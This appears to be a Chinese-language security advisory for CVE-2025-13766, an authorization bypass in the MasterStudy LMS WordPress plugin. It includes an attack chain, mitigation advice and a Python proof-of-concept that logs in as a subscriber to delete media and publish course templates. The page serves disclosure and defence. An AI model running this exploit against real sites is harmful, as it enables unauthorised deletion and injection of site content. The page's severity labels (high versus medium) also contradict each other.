IPBUF安全漏洞报告
English
CVE-2025-13766 CVSS 5.4 中危

CVE-2025-13766 MasterStudy LMS WordPress插件权限绕过漏洞

披露日期: 2026-01-06

漏洞信息

漏洞编号
CVE-2025-13766
漏洞类型
权限绕过
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
MasterStudy LMS WordPress Plugin

相关标签

权限绕过WordPress插件MasterStudy LMSREST API缺失权限检查CVE-2025-13766在线教育平台CMS漏洞

漏洞概述

CVE-2025-13766是MasterStudy LMS WordPress插件的一个高危安全漏洞。该插件是WordPress平台上流行的在线课程和教育管理系统,被广泛应用于创建和销售在线课程。漏洞根源在于多个REST API端点缺少适当的权限检查(Capability Checks),导致经过身份验证的低权限用户(具有Subscriber级别访问权限及以上)能够执行超出其权限范围的操作。攻击者可利用此漏洞上传或删除任意媒体文件、删除或修改文章内容、以及创建和管理课程模板。CVSS评分5.4属于中等严重程度,主要因为该漏洞需要攻击者具有有效的用户账户,但攻击成功后可能对网站完整性造成较大影响。此漏洞影响该插件3.7.6及以下所有版本,WordPress站点管理员应尽快更新至最新版本以修复此安全问题。

技术细节

漏洞存在于MasterStudy LMS插件的REST API接口实现中。开发者在为WordPress注册自定义REST API端点时,未正确使用current_user_can()或current_user_can_for_blog()等权限验证函数来检查当前用户是否具备执行特定操作的权限。在WordPress权限模型中,Subscriber角色默认仅能阅读内容和管理个人资料,不应具备文件上传、删除媒体或修改他人帖子的能力。由于缺少这些检查,攻击者只需拥有一个普通的订阅者账户,即可向以下端点发送恶意请求:1) 媒体文件上传/删除API;2) 文章删除/修改API;3) 课程模板管理API。攻击者可通过构造特定的POST/DELETE请求,在无需管理员权限的情况下执行敏感操作。漏洞利用的关键在于WordPress REST API默认允许所有已登录用户访问,且插件未进行二次权限校验。

攻击链分析

STEP 1
1
攻击者注册一个WordPress账户(Subscriber级别),获取有效的登录凭证
STEP 2
2
攻击者登录WordPress站点,获取session cookie和REST API所需的nonce值
STEP 3
3
攻击者构造恶意HTTP请求,发送到缺少权限检查的REST API端点(如/media/delete、/posts/delete、/course-templates/create等)
STEP 4
4
由于插件未验证用户权限,服务器执行请求中的操作,允许攻击者上传/删除任意媒体、修改文章或创建课程模板
STEP 5
5
攻击者可利用漏洞植入恶意内容、上传恶意文件或破坏网站数据,导致网站完整性受损

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-13766 PoC - MasterStudy LMS权限绕过 import requests import sys TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker_subscriber" PASSWORD = "password123" def get_auth_cookie(): """Get WordPress authentication cookie""" login_url = f"{TARGET_URL}/wp-login.php" session = requests.Session() login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } response = session.post(login_url, data=login_data) return session.cookies.get_dict() def delete_arbitrary_media(cookies, attachment_id): """Delete arbitrary media files without proper authorization""" delete_url = f"{TARGET_URL}/wp-json/masterstudy-lms/v2/attachments/{attachment_id}" headers = { 'X-WP-Nonce': 'attacker-nonce', # May need to fetch valid nonce 'Content-Type': 'application/json' } response = requests.delete(delete_url, cookies=cookies, headers=headers) return response.status_code == 200 def create_course_template(cookies): """Create course template without proper capability check""" api_url = f"{TARGET_URL}/wp-json/masterstudy-lms/v2/course-templates" headers = { 'Content-Type': 'application/json' } payload = { 'title': 'Malicious Course Template', 'content': 'Injected content by attacker', 'status': 'publish' } response = requests.post(api_url, json=payload, cookies=cookies, headers=headers) return response.status_code in [200, 201] if __name__ == "__main__": print("[*] CVE-2025-13766 - MasterStudy LMS Authorization Bypass") cookies = get_auth_cookie() if cookies: print("[+] Authentication successful") print("[*] Attempting to create course template...") if create_course_template(cookies): print("[+] Course template created successfully (VULNERABLE)") else: print("[-] Failed to create template") else: print("[-] Authentication failed")

影响范围

MasterStudy LMS WordPress Plugin <= 3.7.6

防御指南

临时缓解措施
如果无法立即更新插件,可通过以下方式临时缓解:在wp-config.php中添加代码禁用非管理员用户的媒体上传功能;使用.htaccess或Nginx配置限制敏感REST API端点的访问;或者使用第三方WAF(Web应用防火墙)过滤异常请求。但这些措施仅为临时解决方案,最根本的修复仍是升级到插件最新版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表